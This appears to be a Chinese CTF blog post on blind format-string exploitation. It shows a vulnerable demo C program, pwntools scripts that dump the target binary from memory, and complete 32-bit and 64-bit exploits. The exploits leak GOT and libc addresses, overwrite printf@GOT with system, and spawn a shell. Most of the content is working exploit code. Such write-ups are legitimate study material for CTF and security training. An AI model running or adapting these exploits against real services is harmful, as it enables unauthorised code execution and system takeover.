PWN-盲打

October 17, 2019 PWN 访问: 58 次

这次在中关村的那个线下中遇到一个pwn,题目中给了服务器的ssh,但是无法从服务器中拿到pwn的源文件,由于比较菜,也没能发现是一个格式化字符串漏洞

pwn 盲打

就是题目没有提供源文件,只提供了一个nc要连接的IP和端口
这样的话我们是无法通过IDA来漏洞挖掘的,但是,如果存在格式化字符串漏洞的话,并且还是无限制的使用格式化字符串,那么就可以利用漏洞把在内存中的程序给dump下来

32位的利用手法

demo:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
    int flag;
    char buf[1024];
    FILE* f;
    puts("What's your name?");
    fgets(buf, 1024, stdin);
    printf("Hi, ");
    printf("%s",buf);
    putchar('\n');
    flag = 1;
    while (flag == 1){
        puts("Do you want the flag?");
        memset(buf,'\0',1024);
        read(STDIN_FILENO, buf, 100);
            if (!strcmp(buf, "no\n")){
                printf("I see. Good bye.");
                return 0;
            }else
        {
            printf("Your input isn't right:");
            printf(buf);
            printf("Please Try again!\n");
        }
        fflush(stdout);
    }
    return 0;
}
#编译命令:gcc -z execstack -fno-stack-protector -m32 -o pwn pwn.c

首先利用libformatstr库计算出来offsetpadding
dump_exp.py:

from pwn import *
from LibcSearcher import *
from libformatstr import *
context.log_level='debug'
debug = 1
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
    r = process(file_name)
    libc = ELF(libc_name,checksec=False)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
def debug():
    gdb.attach(r)
    raw_input()
file = ELF(file_name,checksec=False)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
ru("What's your name?\n")
sl("fuck")
ru("\n")
def get_offset():
    ru("Do you want the flag?")
    payload = make_pattern(100)
    sl(payload)
    ru("Your input isn't right:")
    data = rud("Please Try again!\n")
    offset,padding = guess_argnum(data,100)
    print offset,padding#7,0
# get_offset()
dump_addr = 0x8049000#0x8048000
dump_elf = ""
while dump_addr<=0x804A098:
    ru("Do you want the flag?")
    payload = "%9$s"+"aaaa"+p32(dump_addr)
    sl(payload)
    ru("Your input isn't right:")
    data = rud("aaaa")
    print data.encode("hex"),len(data)
    if len(data)==0:
        dump_elf += "\x00"
    else:
        dump_elf += data[0]
    dump_addr+=1
print dump_elf.encode("hex")
f = open("dump_bin2","wb")
f.write(dump_elf)

第一次dump的时候,从地址0x8048000~0x804A098,将dump出来的文件载入IDA中发现代码变得很乱(基地址是照着的),然后在Winhex中分析发现0x8048000~0x80490000x8049000~...是重复的,然后把起始地址改成0x8049000,再dump一次,拖到IDA中分析发现,这次dump出来的程序流程是很清晰的,基本上和源程序是一样的
源程序的main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-40Ch]
  int v5; // [esp+40Ch] [ebp-Ch]
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("What's your name?");
  fgets(&s, 1024, stdin);
  printf("Hi, ");
  printf("%s", &s);
  putchar(10);
  v5 = 1;
  while ( v5 == 1 )
  {
    puts("Do you want the flag?");
    memset(&s, 0, 0x400u);
    read(0, &s, 0x64u);
    if ( !strcmp(&s, "no\n") )
    {
      printf("I see. Good bye.");
      return 0;
    }
    printf("Your input isn't right:");
    printf(&s);
    puts("Please Try again!");
    fflush(stdout);
  }
  return 0;
}

dump下来的main函数:

int sub_804860B()
{
  char v1; // [esp+Ch] [ebp-40Ch]
  int v2; // [esp+40Ch] [ebp-Ch]
  sub_8048460(stdin, 0);
  sub_8048460(stdout, 0);
  sub_8048460(stderr, 0);
  sub_80484C0("What's your name?");
  sub_80484B0(&v1, 1024, stdin);
  sub_8048490("Hi, ");
  sub_8048490("%s");
  sub_80484F0(10);
  v2 = 1;
  while ( v2 == 1 )
  {
    sub_80484C0("Do you want the flag?");
    sub_80484E0(&v1, 0, 1024);
    sub_8048480(0, &v1, 100);
    if ( !sub_8048470(&v1, "no\n") )
    {
      sub_8048490("I see. Good bye.");
      return 0;
    }
    sub_8048490("Your input isn't right:");
    sub_8048490(&v1);
    sub_80484C0("Please Try again!");
    sub_80484A0(stdout);
  }
  return 0;
}

然后我们就知道了各个函数在plt表中的地址,我们利用plt表来泄露出来got表地址

pwndbg> x/4wx 0x8048460
0x8048460 <setbuf@plt>: 0xa00c25ff  0x00680804  0xe9000000  0xffffffe0
pwndbg> x/16bx 0x8048460
0x8048460 <setbuf@plt>: 0xff    0x25    0x0c    0xa0    0x04    0x08    0x68    0x00
0x8048468 <setbuf@plt+8>:   0x00    0x00    0x00    0xe9    0xe0    0xff    0xff    0xff
pwndbg> x/16bx 0x8048470
0x8048470 <strcmp@plt>: 0xff    0x25    0x10    0xa0    0x04    0x08    0x68    0x08
0x8048478 <strcmp@plt+8>:   0x00    0x00    0x00    0xe9    0xd0    0xff    0xff    0xff
pwndbg>

\xff\x25是jmp的机器码,后门4个byte就是got表地址
然后再通过got表来泄露libc地址,计算出来system的地址,然后将printf_got覆盖成system的地址
在输入的时候输入/bin/sh\x00即可拿到shell
exp:

from pwn import *
from LibcSearcher import *
from libformatstr import *
context.log_level='debug'
debug = 1
file_name = './pwn'
libc_name = '/lib/i386-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
    r = process(file_name)
    libc = ELF(libc_name,checksec=False)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
def debug():
    gdb.attach(r)
    raw_input()
file = ELF(file_name,checksec=False)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
ru("What's your name?\n")
sl("fuck")
ru("\n")
def get_offset():
    ru("Do you want the flag?")
    payload = make_pattern(100)
    sl(payload)
    ru("Your input isn't right:")
    data = rud("Please Try again!\n")
    offset,padding = guess_argnum(data,100)
    print offset,padding#7,0
# get_offset()
'''
dump_addr = 0x8049000#0x8048000
dump_elf = ""
while dump_addr<=0x804A098:
    ru("Do you want the flag?")
    payload = "%9$s"+"aaaa"+p32(dump_addr)
    sl(payload)
    ru("Your input isn't right:")
    data = rud("aaaa")
    print data.encode("hex"),len(data)
    if len(data)==0:
        dump_elf += "\x00"
    else:
        dump_elf += data[0]
    dump_addr+=1
print dump_elf.encode("hex")
f = open("dump_bin2","wb")
f.write(dump_elf)
'''
setbuf_plt = 0x8048460
ru("Do you want the flag?")
payload = "%9$s"+"aaaa"+p32(setbuf_plt)
sl(payload)
ru("Your input isn't right:")
setbuf_got = u32(rud("aaaa")[2:6])
printf_got = setbuf_got+0xc
li("setbuf_plt",setbuf_got)
ru("Do you want the flag?")
payload = "%9$s"+"aaaa"+p32(setbuf_got)
sl(payload)
ru("Your input isn't right:")
setbuf_addr = u32(rud("aaaa")[0:4])
li("setbuf_addr",setbuf_addr)
libc_base = setbuf_addr-libc.symbols['setbuf']
li("libc_base",libc_base)
system_addr = libc_base+libc.symbols['system']
format_1 = FormatStr()
format_1[printf_got]=system_addr
pay1 = fmtstr_payload(7,{printf_got:system_addr})
pay2 = format_1.payload(7,0,start_len=0)
ru("Do you want the flag?")
sl(pay1)
ru("Do you want the flag?")
sl("/bin/sh\x00")
ri()

64位的利用手法

思路大致都是一样的,只不过是64位的程序再内存中的基地址和32位程序是不一样的
编译:

gcc -z execstack -fno-stack-protector -o pwn_64 pwn.c

泄露出来内存中0x400000~0x400BBB区间的值,然后保存,在IDA中打开,可以成功的看到main函数的程序流程
源程序:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-410h]
  int v5; // [rsp+41Ch] [rbp-4h]
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("What's your name?");
  fgets(&s, 1024, stdin);
  printf("Hi, ", 1024LL, argv);
  printf("%s", &s);
  putchar(10);
  v5 = 1;
  while ( v5 == 1 )
  {
    puts("Do you want the flag?");
    memset(&s, 0, 0x400uLL);
    read(0, &s, 0x64uLL);
    if ( !strcmp(&s, "no\n") )
    {
      printf("I see. Good bye.", "no\n");
      return 0;
    }
    printf("Your input isn't right:", "no\n");
    printf(&s);
    puts("Please Try again!");
    fflush(stdout);
  }
  return 0;
}

dump下的程序:

__int64 sub_400826()
{
  char v1; // [rsp+10h] [rbp-410h]
  int v2; // [rsp+41Ch] [rbp-4h]
  sub_4006A0(MEMORY[0x601090], 0LL);
  sub_4006A0(MEMORY[0x601080], 0LL);
  sub_4006A0(MEMORY[0x6010A0], 0LL);
  sub_400690((__int64)"What's your name?");
  sub_4006F0(&v1, 1024LL, MEMORY[0x601090]);
  sub_4006B0("Hi, ");
  sub_4006B0("%s");
  sub_400680(10LL, &v1);
  v2 = 1;
  while ( v2 == 1 )
  {
    sub_400690((__int64)"Do you want the flag?");
    sub_4006C0(&v1, 0LL, 1024LL);
    sub_4006D0(0LL, &v1, 100LL);
    if ( !(unsigned int)sub_400700(&v1, "no\n") )
    {
      sub_4006B0("I see. Good bye.");
      return 0LL;
    }
    sub_4006B0("Your input isn't right:");
    sub_4006B0(&v1);
    sub_400690((__int64)"Please Try again!");
    sub_400710(MEMORY[0x601080]);
  }
  return 0LL;
}

接下来的操作都是一样的
泄露got表地址,再泄露got表中存的地址,再覆盖got表(部分覆盖),即可获取到shell
exp:

from pwn import *
from LibcSearcher import *
from libformatstr import *
context.log_level='debug'
context.arch = 'amd64'
debug = 1
file_name = './pwn_64'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
    r = process(file_name)
    libc = ELF(libc_name,checksec=False)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
def debug():
    gdb.attach(r,"b *0x000000000400965")
    raw_input()
file = ELF(file_name,checksec=False)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
ru("What's your name?\n")
sl("fuck")
ru("\n")
def get_offset():
    ru("Do you want the flag?")
    payload = make_pattern(100)
    sl(payload)
    ru("Your input isn't right:")
    data = rud("Please Try again!\n")
    offset,padding = guess_argnum(data,100)
    print offset,padding#4,0
'''
dump_addr = 0x000000000400000
dump_elf = ""
while dump_addr<=0x400BBB:
    ru("Do you want the flag?")
    payload = "%9$saaaa"+p64(dump_addr)
    # gdb.attach(r,"b *0x000000000400965")
    sl(payload)
    ru("Your input isn't right:")
    data = rud("aaaa")
    print data.encode("hex"),len(data)
    if len(data)==0:
        dump_elf += "\x00"
    else:
        dump_elf += data[0]
    dump_addr+=1
print dump_elf.encode("hex")
f = open("dump_bin_64","wb")
f.write(dump_elf)
'''
setbuf_plt = 0x4006A0
ru("Do you want the flag?")
payload = "%9$saaaa"+p64(setbuf_plt)
sl(payload)
ru("Your input isn't right:\xff\x25")
setbuf_got = u32(r.recv(3)+"\x00")+setbuf_plt+0x6
printf_got = setbuf_got+0x8
li("printf_got",printf_got)
li("setbuf_plt",setbuf_got)
ru("Do you want the flag?")
payload = "%9$saaaa"+p64(setbuf_got)
sl(payload)
ru("Your input isn't right:")
setbuf_addr = u64(r.recv(6)+"\x00\x00")
li("setbuf_addr",setbuf_addr)
libc_base = setbuf_addr-libc.symbols['setbuf']
li("libc_base",libc_base)
system_addr = libc_base+libc.symbols['system']
one_gg = 0x45216+ libc_base
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
format_1 = FormatStr()
format_1[printf_got]=system_addr
# pay1 = fmtstr_payload(8,{printf_got+4:system_addr&0xffffffff})
li("system_addr",system_addr)
addr1 = system_addr&0xffffffff
# aaa = "%"+str(int(addr1))+"c%11$n".ljust(0x18,"a")
# pay = aaa+p64(0x601030)
pay2 = format_1.payload(8,0,start_len=0)
num_1 = addr1&0xffff
num_2 = (0x10000+((addr1&0xffff0000)>>16))-num_1
pay = "%"+str(int(num_1))+"c%12$hn%"+str(int(num_2))+"c%13$hn"
pay = pay.ljust(0x20,"a")+p64(0x601030)+p64(0x601032)
print pay
ru("Do you want the flag?")
sl(pay)
# debug()
ru("Do you want the flag?")
sl("/bin/sh\x00")
ri()

添加新评论